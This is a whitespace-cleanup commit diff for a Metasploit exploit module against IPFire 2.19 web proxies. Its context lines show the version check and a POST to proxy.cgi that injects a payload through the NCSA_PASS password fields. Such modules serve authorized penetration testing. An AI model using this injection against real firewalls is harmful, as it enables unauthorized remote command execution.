travis fixes

modules/exploits/linux/http/ipfire_proxy_exec.rb

@@ -66,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
       fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
       /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
-      
+
       if version && update && version == "2.19" && update.to_i < 101
         Exploit::CheckCode::Vulnerable
       else
@@ -89,9 +89,9 @@ class MetasploitModule < Msf::Exploit::Remote
       post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
       post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
       post_data << "&SUBMIT=Create+user"
-      post_data << "&ACTION=Add"      
+      post_data << "&ACTION=Add"
       post_data << "&NCSA_MIN_PASS_LEN=6"
-      
+
       res = send_request_cgi({
         'uri'       => '/cgi-bin/proxy.cgi',
         'method'    => 'POST',
@@ -109,10 +109,9 @@ class MetasploitModule < Msf::Exploit::Remote
         fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
         fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
       end
-  
+
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
     end
   end
 end
-